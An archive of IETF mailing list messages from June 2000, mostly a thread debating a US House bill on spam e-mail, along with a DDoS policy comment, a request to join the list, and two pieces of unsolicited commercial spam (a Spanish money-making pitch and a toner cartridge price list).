------=_NextPart_000_0007_01BFD85D.E05B4820--



From owner-ietf-outbound  Sat Jun 17 09:01:00 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA18468
	for ietf-outbound.10@ietf.org; Sat, 17 Jun 2000 09:00:02 -0400 (EDT)
Received: from marconi.cie-mexico.com.mx (na-155-132.na.avantel.net.mx [148.245.155.132] (may be forged))
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA18438
	for <ietf@ietf.org>; Sat, 17 Jun 2000 08:56:44 -0400 (EDT)
Date: Sat, 17 Jun 2000 08:56:44 -0400 (EDT)
From: ebiz@navegalia.com
Message-Id: <200006171256.IAA18438@ietf.org>
Received: from 193.153.168.205 by marconi.cie-mexico.com.mx with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8)
	id M82NVX64; Sat, 17 Jun 2000 07:57:01 -0500
Reply-To: ebiz@navegalia.com
To: ietf@ietf.org
Subject: METETE EN EL TELEMARKETING HISPANO
X-Loop: ietf@ietf.org

Hola,

Puede que usted sea una persona que le interesan las oportunidades;
si estoy en un error, por favor una disculpa.

Gane de $40-100 USD diarios. Resultados en 24 horas!!

Utilice nuestro Sistema Automatizado de Promocion. Es muy facil.

Solicite informes enviando un email en blanco al visitar nuestra pagina en:

http://ebiz.miarroba.com/
http://dowjones.st/to/ebiznews/
http://insmarketing.tuwww.com/
http://sitio.de/ebiz/
http://todohosting.com/ebiz/


Si encuentra que algunos de estos links no funciona, visite el siguiente. Se agradece informe del
fallo

O envie un email a:

<mailto:info-ebiz@eudoramail.com?subject=informacion>

Gracias por su atencion
-----------------------------------------------------------------------------------------------------------------------------------------
Puede borrarse de la lista en cualquiera de las direcciones ofrecidas. No obstante este email
solo lo recibira esta vez desde esta direccion por lo que no es necesario darse de baja.
Por otro lado el envio de este email es legal desde el punto de vista de las leyes españolas.



___________________________________________________________




From owner-ietf-outbound  Sun Jun 18 18:35:32 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA10681
	for ietf-outbound.10@ietf.org; Sun, 18 Jun 2000 18:30:01 -0400 (EDT)
Received: from scriba.org (scriba.org [208.178.122.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10658
	for <ietf@ietf.org>; Sun, 18 Jun 2000 18:26:49 -0400 (EDT)
Received: from localhost (bob@localhost) by scriba.org (8.8.5/8.7.3) with ESMTP id SAA21518; Sun, 18 Jun 2000 18:25:55 -0400
Date: Sun, 18 Jun 2000 18:25:55 -0400 (EDT)
From: Bob Allisat <bob@fcn.net>
X-Sender: bob@mansfield
To: ietf@ietf.org
cc: kurt@servuhome.net
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
Message-ID: <Pine.LNX.4.21.0006181813390.21144-100000@mansfield>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


Kurt Weber <kurt@servuhome.net> writes:
> Personally, I have nothing against the legitimacy of spam.  I don't
> like it, but I do believe that it should be legal.  If they want
> to outlaw telemarketing and junk mail, then they can outlaw spam. 
> Besides, because of the nature of the Internet, if you outlaw spam,
> then the same person could send it from a locale where spamming
> IS legal.  It's impossible to eradicate spam through legislation.

 It is also impossible to differentiate between so-called
 spam and expressions of a personal political, social or
 artistic nature. All of which should be protected in any
 legitimate democracy. All to often our technical over-seers
 are all to willing to sacrifice precious liberties and
 freedoms in the interests of presumed network integrity.

 What, pray tell, is the use of any infrastructure if it
 cannot tolerate the full gamut of human communications?
 Including the crass, craven and (SHUDDERS) the artistic?
 Such a network is of no value at all. The harder and higher
 the standards you IETF people militate towards the more
 likely your precious work will be circumvented and bypassed
 as inadequate. There were other computer networks that 
 rose and fell besides the Internet. I was there and I can
 name a few of them and I suspect I will live to see the
 rise of still others. Cautionary thoughts me thinks(?).

 Alive and well and living somewhere in Toronto. Sort of.

 Bob Allisat

 bob@fcn.net



From owner-ietf-outbound  Mon Jun 19 04:40:52 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA27810
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 04:40:02 -0400 (EDT)
Received: from mail.tobit.com ([62.153.121.10])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA27778
	for <ietf@ietf.org>; Mon, 19 Jun 2000 04:35:17 -0400 (EDT)
From: tkuiper@tobit.com
Subject: The DDoS problem... handled wrong by the governments?
To: ietf@ietf.org
Date: 19 Jun 2000 08:35:20 UT
Priority: normal
X-Priority: 3 (Normal)
Importance: normal
X-Mailer: David by Tobit Software, Germany (0172.0283256686)
X-David-Sym: 0
X-David-Flags: 0
Message-ID: <394DDB48@mail.tobit.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------1DD2510B41FE"
X-Loop: ietf@ietf.org


--------------1DD2510B41FE
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

If I look on the Homepage of the National Infrastructure Protection
Center (NIPC) http://www.nipc.gov/ (part of the FBI), I see there
are Advisory's about the diffrent Distributed denial of service tools.

But I think the way how its handled is really wrong.

Instead of "enforcing" the people who are used as amplifiers to fix
their networks there are tools to find such Denial of Service Tools
on a system. I think this Virus-Scanner acting is kinda useless since
the broadcast amplifiers are still existing, and the network admins of
small ISP's or small company's are just to lazy to upgrade their
network or don't know how (with loose of their bandwidth).

In germany I heard there is a Task Force to fix this problem by the
government too but they also want to fix the problem also by a detection
of those easy new writeable tools. In a scenario coming up the next
years there will be cellulars who flood someone, or a lot of DSL smurf
kids... this is really sad, cause e.g. a small company would just get
attacked than by a frustrated customer.

Best Regards,
Thomas

Thomas Kuiper    | tkuiper@tobit.com         | www.tobit.com     __
Core Development | ICQ #8345483              |                  /__/\
Tobit Software   | PGP Key on Request        | ask your server. \__\/



--------------1DD2510B41FE--



From owner-ietf-outbound  Mon Jun 19 10:50:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA08463
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 10:50:04 -0400 (EDT)
Received: from europe.annapolis.net (europe.annapolis.net [206.24.4.6])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08108
	for <ietf@ietf.org>; Mon, 19 Jun 2000 10:43:50 -0400 (EDT)
Received: from [206.24.4.43] by europe.annapolis.net (NTMail 5.05.0002/QS1198.00.6b808676) with ESMTP id vdrycaaa for ietf@ietf.org; Mon, 19 Jun 2000 10:55:42 -0400
Message-ID: <000801bfd9fc$75266620$2b0418ce@homeltl>
From: "Betty or Larry Lorenz" <lorenz@annapolis.net>
To: <ietf@ietf.org>
Subject: Request to Join
Date: Mon, 19 Jun 2000 10:41:29 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01BFD9DA.ED548360"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01BFD9DA.ED548360
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Good morning,
I would like to request to join/sign up for information regarding =
upcoming audio/videocasts and any other events' announcements you =
provide.
Thank you in advance for your help.  Reply with inquiry if there is more =
information I need to provide.
Betty Lorenz
mailto:lorenz@annapolis.net

------=_NextPart_000_0005_01BFD9DA.ED548360
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Good morning,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I would like to request to join/sign up =
for=20
information regarding upcoming audio/videocasts and any other events'=20
announcements you provide.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thank you in advance for your =
help.&nbsp; Reply=20
with inquiry if there is more information I need to =
provide.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Betty Lorenz</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:lorenz@annapolis.net">mailto:lorenz@annapolis.net</A></FON=
T></DIV></BODY></HTML>

------=_NextPart_000_0005_01BFD9DA.ED548360--



From owner-ietf-outbound  Mon Jun 19 11:40:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA11353
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 11:40:02 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA11298
	for <ietf@ietf.org>; Mon, 19 Jun 2000 11:39:46 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id KAA13415
	for <ietf@ietf.org>; Mon, 19 Jun 2000 10:37:35 -0500 (CDT)
Message-Id: <200006191537.KAA13415@rgfsparc.cr.usgs.gov>
Date: Mon, 19 Jun 2000 10:37:35 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: 3uskOm42kjhcQVB+7RmfXw==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

> It is also impossible to differentiate between so-called
> spam and expressions of a personal political, social or
> artistic nature. 

Herein lies one of the major issues that ought to be sorted out before 
anyone takes any steps to regulate spam.  What is spam, exactly?  There seems  
to be a wide variety of notions as to what constitutes a spam.  Some 
people define it in its original context; i.e., unsolicited commercial 
email.  Others broaden the definition to include offensive or off-topic 
remarks on a public or private list.  Still others would include *any* email 
they didn't want to receive as 'spam.'  It would be extremely challenging and 
largely useless to attempt to regulate what you can't even categorize, methinks.

RGF

Robert G. Ferrell
========================================
 Who goeth without humor goeth unarmed.
========================================



From owner-ietf-outbound  Mon Jun 19 12:00:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA12257
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 12:00:03 -0400 (EDT)
Received: from apollo.predictive.com (apollo.predictive.com [208.209.197.196])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12106
	for <ietf@ietf.org>; Mon, 19 Jun 2000 11:58:32 -0400 (EDT)
From: Randall.Gale@predictive.com
To: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail
X-Mailer: Lotus Notes Release 5.0.2a (Intl) 23 November 1999
Message-ID: <OF377DA2EE.73DCDAB8-ON85256903.0056B99B@predictive.com>
Date: Mon, 19 Jun 2000 10:58:30 -0500
X-MIMETrack: Serialize by Router on Apollo/Predictive(Release 5.0.3 (Intl)|21 March 2000) at
 06/19/2000 11:58:35 AM,
	Serialize complete at 06/19/2000 11:58:35 AM
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

It's easy to classify SPAM as "junkmail" or UCE but I think that leaves 
too much to interpretation these days.
Especially given the almost completely commercial applications of "the 
net" (gawd, I hate to even think of Sandra B. and her magic octet).
I think the answer could live in what is commonly referred to as a "pull" 
versus a "push" type of marketing.
If you take the time to ask people, in a non-obtrusive way, what they're 
interested in, then usually, enough people will respond to
help you "meet your numbers and get your trip" (or whatever motivates the 
source of information).

The trick (or tightrope that must be walked), is to find a middle ground 
with consumers.  How can enough information about you be gathered and 
analyzed (with your permission) to only (or for the most part) give you 
information that interests you.  Cookies?  not sure.  PKI "hooks"?  Not 
sure either.  Heck, I'm not sure what the difference is if you really 
think all "hippy" about what they're really both being used (planned) for.

The net has the potential to be a great vehicle for sales.  The only 
reason I say it has potential, in spite of its obvious success, is that I 
think there's a long way to go with regards to security and other legal 
issues.  These will all get resolved one way or the other, but once they 
are, this middle ground is where we should all be able to play as 
"consumers" AND "sellers" with product or information or opinion whatnot 
(what's the difference really).

----------------------------------
Randall Gale
Regional Director
Information Security
Predictive Systems
vox: 781-751-9629
fax: 781-329-9343
mailto:randall.gale@predictive.com
http://www.predictive.com
----------------------------------



From owner-ietf-outbound  Mon Jun 19 13:00:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA14947
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 13:00:02 -0400 (EDT)
Received: from doberman.cwusa.com (doberman-dmz.cwusa.com [146.135.88.56])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14798
	for <ietf@ietf.org>; Mon, 19 Jun 2000 12:55:40 -0400 (EDT)
Received: from us-cwi-exc-a10.cwusa.com (us-cwi-exc-a10.cwusa.com [146.135.85.143])
	by doberman.cwusa.com (8.9.1/8.9.1) with ESMTP id MAA10103;
	Mon, 19 Jun 2000 12:54:58 -0400 (EDT)
Received: by us-cwi-exc-a10.cwi.cablew.com with Internet Mail Service (5.5.2650.21)
	id <MA8WXLGW>; Mon, 19 Jun 2000 12:54:54 -0400
Message-ID: <F685A00DB7B4D111B2400020AFFC2D580D702F49@us-cwi-exc-a03.cwi.cablew.com>
From: "Book, Robert" <Robert.BookIII@cwusa.com>
To: "'Robert G. Ferrell'" <root@rgfsparc.cr.usgs.gov>, ietf@ietf.org
Subject: RE: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
Date: Mon, 19 Jun 2000 12:54:48 -0400
Return-Receipt-To: "Book, Robert" <Robert.BookIII@cwusa.com>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

	I would think it fairly evident that spam is in the eye of the
beholder. I suspect that a popular resolution would, therefore, need to
provide the receiver with control over the type of information allowed
through a personal filter. This could be implemented by defining a key field
with a range of values and refinements universally understood by all email
packages. For instance, if an email header were read to determine that it
contained an advertisement of a product within a specific product line and
the email client could be optioned by the receiver as to the desired
disposition of an email (to include sending  it directly to the bit bucket)
with that classification, the receiver is given control and, so long as the
system is honored by the senders of the email, minimal umbrage on the part
of the receivers of email. Spam might then be redefined as email which did
not follow the classification convention.
	The possibility remains, however, that this solution might not be
popular with the people in the business of producing such advertisements. I
seem to recall, from a time when I was living in Europe, the VCRs over there
had the capability to key off of a signal in the broadcast signal. This
"off" signal, and it's corresponding "on" signal, were sent, respectively,
before and after commercial messages. I have yet to see that feature in any
VCRs in the US market. :-)
 

-----Original Message-----
From: Robert G. Ferrell [mailto:root@rgfsparc.cr.usgs.gov]
Sent: Monday, June 19, 2000 11:38 AM
To: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 


> It is also impossible to differentiate between so-called
> spam and expressions of a personal political, social or
> artistic nature. 

Herein lies one of the major issues that ought to be sorted out before 
anyone takes any steps to regulate spam.  What is spam, exactly?  There
seems  
to be a wide variety of notions as to what constitutes a spam.  Some 
people define it in its original context; i.e., unsolicited commercial 
email.  Others broaden the definition to include offensive or off-topic 
remarks on a public or private list.  Still others would include *any* email

they didn't want to receive as 'spam.'  It would be extremely challenging
and 
largely useless to attempt to regulate what you can't even categorize,
methinks.

RGF

Robert G. Ferrell
========================================
 Who goeth without humor goeth unarmed.
========================================



From owner-ietf-outbound  Mon Jun 19 13:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA16033
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 13:10:02 -0400 (EDT)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA15664
	for <ietf@ietf.org>; Mon, 19 Jun 2000 13:06:37 -0400 (EDT)
Received: from wooly-booly.cisco.com (wooly-booly.cisco.com [171.69.167.33])
	by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id KAA20539
	for <ietf@ietf.org>; Mon, 19 Jun 2000 10:06:16 -0700 (PDT)
Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by wooly-booly.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id MAA28062 for <ietf@ietf.org>; Mon, 19 Jun 2000 12:05:58 -0500 (CDT)
Message-Id: <4.3.2.7.2.20000619100301.03269860@flipper.cisco.com>
X-Sender: fred@flipper.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 19 Jun 2000 10:05:34 -0700
To: ietf@ietf.org
From: Fred Baker <fred@cisco.com>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-Reply-To: <200006160135.VAA03516@astro.cs.utk.edu>
References: <Your message of "Thu, 15 Jun 2000 19:03:50 EDT." <4.3.1.0.20000615185233.02f6b830@209.81.50.25>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 09:35 PM 6/15/00 -0400, Keith Moore wrote:
>And I hope that the courts will finally realize that freedom of speech
>includes the freedom not to have your communications disrupted by people
>who want to sell you things.

I dunno, Keith. What you are asking for is content control - you are saying 
that certain content shouldn't get to you. Usually, you are asking that 
content not be controlled in any way.

But I have to say that this particular thread is fairly far afield of 
anything resembling an engineering topic. Would it be too onerous to ask 
that it be moved to a free-speech-includes-or-does-not-include-advertising 
discussion list?



From owner-ietf-outbound  Mon Jun 19 13:40:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA17840
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 13:40:02 -0400 (EDT)
Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17799
	for <ietf@ietf.org>; Mon, 19 Jun 2000 13:39:24 -0400 (EDT)
Received: (truskows@localhost) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) id KAA19280; Mon, 19 Jun 2000 10:38:53 -0700 (PDT)
From: Mike Truskowski <truskows@cisco.com>
Message-Id: <200006191738.KAA19280@diablo.cisco.com>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
To: fred@cisco.com (Fred Baker)
Date: Mon, 19 Jun 2000 10:38:53 PDT
Cc: ietf@ietf.org
In-Reply-To: <4.3.2.7.2.20000619100301.03269860@flipper.cisco.com>; from "Fred Baker" at Jun 19, 100 10:05 am
X-Mailer: Elm [revision: 212.4]
X-Loop: ietf@ietf.org

Wow, an example of what Keith is asking for ... free speech
without having to hear it...

I vote for Fred's idea, I was tired of it last week.

mike

> 
> At 09:35 PM 6/15/00 -0400, Keith Moore wrote:
> >And I hope that the courts will finally realize that freedom of speech
> >includes the freedom not to have your communications disrupted by people
> >who want to sell you things.
> 
> I dunno, Keith. What you are asking for is content control - you are saying 
> that certain content shouldn't get to you. Usually, you are asking that 
> content not be controlled in any way.
> 
> But I have to say that this particular thread is fairly far afield of 
> anything resembling an engineering topic. Would it be too onerous to ask 
> that it be moved to a free-speech-includes-or-does-not-include-advertising 
> discussion list?
> 
> 
> 



From owner-ietf-outbound  Mon Jun 19 14:10:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA19146
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 14:10:02 -0400 (EDT)
Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18963
	for <ietf@ietf.org>; Mon, 19 Jun 2000 14:05:29 -0400 (EDT)
Received: from localhost (dennisg@localhost)
	by btw.plaintalk.bellevue.wa.us (8.10.1/8.10.1) with ESMTP id e5JI3gn43300;
	Mon, 19 Jun 2000 11:03:42 -0700 (PDT)
Date: Mon, 19 Jun 2000 11:03:42 -0700 (PDT)
From: Dennis Glatting <dennis.glatting@software-munitions.com>
X-Sender: dennisg@btw.plaintalk.bellevue.wa.us
To: "Book, Robert" <Robert.BookIII@cwusa.com>
cc: "'Robert G. Ferrell'" <root@rgfsparc.cr.usgs.gov>, ietf@ietf.org
Subject: RE: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-Reply-To: <F685A00DB7B4D111B2400020AFFC2D580D702F49@us-cwi-exc-a03.cwi.cablew.com>
Message-ID: <Pine.BSF.4.21.0006191056040.43133-100000@btw.plaintalk.bellevue.wa.us>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org



On Mon, 19 Jun 2000, Book, Robert wrote:

> 	I would think it fairly evident that spam is in the eye of the
> beholder. I suspect that a popular resolution would, therefore, need to
> provide the receiver with control over the type of information allowed
> through a personal filter. This could be implemented by defining a key field
> with a range of values and refinements universally understood by all email
> packages. For instance, if an email header were read to determine that it
> contained an advertisement of a product within a specific product line and
> the email client could be optioned by the receiver as to the desired
> disposition of an email (to include sending  it directly to the bit bucket)
> with that classification, the receiver is given control and, so long as the
> system is honored by the senders of the email, minimal umbrage on the part
> of the receivers of email. Spam might then be redefined as email which did
> not follow the classification convention.

Simply because one chooses to be on the Internet, surely is not required
one to incur the cost of others' business methods. If one (the receiver)
pays network costs and one does not wish to receive UCE, then why should
one incur any cost (bandwidth usage, registration, whatever) of receiving
UCE even to reject it?


-dpg








From owner-ietf-outbound  Mon Jun 19 15:30:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA21342
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 15:30:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21095
	for <ietf@ietf.org>; Mon, 19 Jun 2000 15:20:31 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA12236;
        Mon, 19 Jun 2000 15:20:29 -0400 (EDT)
Message-Id: <200006191920.PAA12236@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Fred Baker <fred@cisco.com>
cc: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-reply-to: Your message of "Mon, 19 Jun 2000 10:05:34 PDT."
             <4.3.2.7.2.20000619100301.03269860@flipper.cisco.com> 
Date: Mon, 19 Jun 2000 15:20:29 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> >And I hope that the courts will finally realize that freedom of speech
> >includes the freedom not to have your communications disrupted by people
> >who want to sell you things.
> 
> I dunno, Keith. What you are asking for is content control - you are saying 
> that certain content shouldn't get to you. Usually, you are asking that 
> content not be controlled in any way.

actually I'd settle for well-defined mandatory labelling - at the SMTP
level for big volume spammers and at the 822 level for everyone.
 
> But I have to say that this particular thread is fairly far afield of 
> anything resembling an engineering topic. Would it be too onerous to ask 
> that it be moved to a free-speech-includes-or-does-not-include-advertising 
> discussion list?

the relevance to IETF is that Congress, with the encouragement of
the DMA, is pushing technically poor solutions.  and IETF is the 
biggest store of technical expertise in Internet mail.

whether IETF itself would want to send a message to Congress is
something I hadn't yet thought about.  it might be a good idea.

but even if IETF as an organization didn't want to do this it's 
certainly not unusual for IETF to act via its individual members 
rather than as an organization.

Keith



From owner-ietf-outbound  Mon Jun 19 15:50:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA21881
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 15:50:02 -0400 (EDT)
Received: from unknown (ip77.atlanta11.ga.pub-ip.psi.net [38.30.188.77])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA21800
	for <ietf@ietf.org>; Mon, 19 Jun 2000 15:48:56 -0400 (EDT)
From: <9876sdgpo09@aol.com>
To: ietf@ietf.org
Subject: Best Toner Cartridge Prices Ever
Date: Mon, 19 Jun 2000 15:50:19
Message-Id: <637.90409.705788@unknown>
Reply-To: Whitetreestreststst@aol.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org


D&J PRINTING CORPORATION
  3103 LEXINGTON FARMS DR
  ALPHARETTA,  GA  30004
    (770) 619-0716

     --LASER, FAX AND COPIER PRINTER TONER CARTRIDGES--

*WE ACCEPT GOVERNMENT, SCHOOL AND UNIVERSITY PURCHASE ORDERS*


CHECK OUT OUR NEW CARTRIDGE PRICES:


APPLE
  
  LASER WRITER PRO 600 OR 16/600                $65
  LASER WRITER SELECT 300, 310, 360             $65
  LASER WRITER 300, 320                         $54
  LASER WRITER LS, NT, 2NTX, 2F, 2G AND 2SC     $54
  LASER WRITER 12/640                           $75

HEWLETT PACKARD


  LASERJET SERIES 2, 3 AND 3D (95A)             $49
  LASERJET SERIES 2P AND 3P (75A)	  	$54
  LASERJET SERIES 3SI AND 4SI (91A)             $75
  LASERJET SERIES 4L AND 4P                     $45
  LASERJET SERIES 4, 4M, 5, 5M, 4+ (98A)        $55
  LASERJET SERIES 4000 HIGH YIELD (27X)         $95
  LASERJET SERIES 4V                            $90
  LASERJET SERIES 5SI, 8000                     $95
  LASERJET SERIES 5L AND 6L                     $49
  LASERJET SERIES 5P, 5MP, 6P, 6MP              $59
  LASERJET SERIES 5000 (29A)                    $125
  LASERJET SERIES 1100 (92A)                    $50
  LASERJET SERIES 2100 (96A)                    $80
  LASERJET SERIES 8100 (82X)                    $135
  

HEWLETT PACKARD LASERFAX

  LASERFAX 500, 700, FX1                        $57
  LASERFAX 5000, 7000, FX2                      $57
  LASERFAX FX3                                  $67
  LASERFAX FX4                                  $77






LEXMARK

  OPTRA 4019, 4029 HIGH YIELD                   $130
  OPTRA R, 4039, 4049 HIGH YIELD                $135
  OPTRA S, 4059 HIGH YIELD                      $135
  OPTRA E                                       $59
  OPTRA N                                       $110


EPSON

  EPL-7000, 8000                                $100
  EPL-1000, 1500                                $100
  

CANON

  LBP-430                                       $49
  LBP-460, 465                                  $59
  LBP-8 II					$54
  LBP-LX					$54
  LBP-MX					$95
  LBP-AX					$49
  LBP-EX					$59
  LBP-SX					$49
  LBP-BX					$95
  LBP-PX					$49
  LBP-WX					$95
  LBP-VX					$59
  CANON FAX L700 THRU L790 (FX1)		$59
  CANON FAX L5000 THRU L7000 (FX2)		$59


CANON COPIERS

  PC 3, 6RE, 7, 11 (A30)			$69
  PC 320 THRU 780 (E40)				$85


NEC

  SERIES 2 LASER MODEL 90, 95			$105






PLEASE NOTE:

 * WE SHIP UPS GROUND.  ADD $6.50 FOR SHIPPING AND HANDLING
 * WE ACCEPT ALL MAJOR CREDIT CARDS OR "COD" ORDERS.
 * COD CHECK ORDERS ADD $3.50 TO YOUR SHIPPING COST.
 * OUR STANDARD MERCHANDISE REFUND POLICY IS NET 30 DAYS.  
 * OUR STANDARD MERCHANDISE REPLACEMENT POLICY IS NET 90 DAYS.
 * WE DO NOT SELL TO RESELLERS OR BUY FROM DISTRIBUTERS.
 * WE DO NOT CARRY: BROTHER, MINOLTA, KYOSERA, PANASONIC, XEROX, 
                    FUJITSU, OKIDATA OR SHARP PRODUCTS. 
 * WE ALSO DO NOT CARRY: COLOR PRINTER SUPPLIES, DESKJET/INKJET
                    OR BUBBLEJET SUPPLIES.
 * WE DO NOT BUY FROM OR SELL TO RECYCLERS OR REMANUFACTURERS.


           -PLACE YOUR ORDER AS FOLLOWS-

1) BY PHONE (770) 619-0716
2) BY MAIL:  D AND J PRINTING CORPORATION
             3103 LEXINGTON FARMS DR 
             ALPHARETTA,   GA  30004

 INCLUDE THE FOLLOWING INFORMATION WHEN YOU PLACE YOUR ORDER:

1) YOUR PHONE NUMBER
2) COMPANY NAME
3) SHIPPING ADDRESS
4) CONTACT NAME
5) ITEMS NEEDED WITH QUANTITIES
6) METHOD OF PAYMENT (COD OR CREDIT CARD)
7) CREDIT CARD NUMBER WITH EXPIRATION DATE
**** IF YOU ARE ORDERING BY PURCHASE ORDER, PLEASE INCLUDE A 
     SEPARATE BILLING ADDRESS AND SHIPPING ADDRESS WHEN NEEDED.
  



From owner-ietf-outbound  Mon Jun 19 16:10:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA22497
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 16:10:01 -0400 (EDT)
Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22395
	for <ietf@ietf.org>; Mon, 19 Jun 2000 16:07:22 -0400 (EDT)
Received: from gungnir.fnal.gov (localhost [127.0.0.1])
	by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id PAA08670;
	Mon, 19 Jun 2000 15:07:21 -0500 (CDT)
Message-Id: <200006192007.PAA08670@gungnir.fnal.gov>
To: Keith Moore <moore@cs.utk.edu>
Cc: ietf@ietf.org
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-reply-to: Your message of Mon, 19 Jun 2000 15:20:29 EDT.
             <200006191920.PAA12236@astro.cs.utk.edu> 
Date: Mon, 19 Jun 2000 15:07:21 -0500
Sender: crawdad@gungnir.fnal.gov
X-Loop: ietf@ietf.org

> actually I'd settle for well-defined mandatory labelling - at the SMTP
> level for big volume spammers and at the 822 level for everyone.

